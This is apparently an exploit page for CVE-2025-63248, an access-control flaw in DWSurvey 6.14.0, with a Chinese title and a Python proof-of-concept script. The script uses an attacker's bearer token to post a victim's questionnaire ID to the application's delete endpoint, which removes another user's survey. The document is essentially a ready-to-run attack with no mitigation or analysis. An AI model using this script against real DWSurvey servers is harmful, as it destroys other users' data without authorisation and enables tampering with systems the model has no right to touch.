CVE-2025-63248 DWSurvey 6.14.0 越权删除问卷漏洞

import requests # CVE-2025-63248 DWSurvey IDOR Vulnerability PoC # Target: DWSurvey 6.14.0 # Vulnerability: Incorrect Access Control in questionnaire deletion TARGET_URL = "http://target-server/dwsurvey" ATTACKER_TOKEN = "your-auth-token-here" # Victim questionnaire ID to be deleted VICTIM_QUESTIONNAIRE_ID = "victim-survey-id" def delete_questionnaire(questionnaire_id): """Send delete request for specific questionnaire ID""" endpoint = f"{TARGET_URL}/api/questionnaire/delete" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "id": questionnaire_id } response = requests.post(endpoint, json=payload, headers=headers) return response.status_code, response.text # Exploit: Delete victim questionnaire by replacing ID status, resp = delete_questionnaire(VICTIM_QUESTIONNAIRE_ID) print(f"Status: {status}") print(f"Response: {resp}")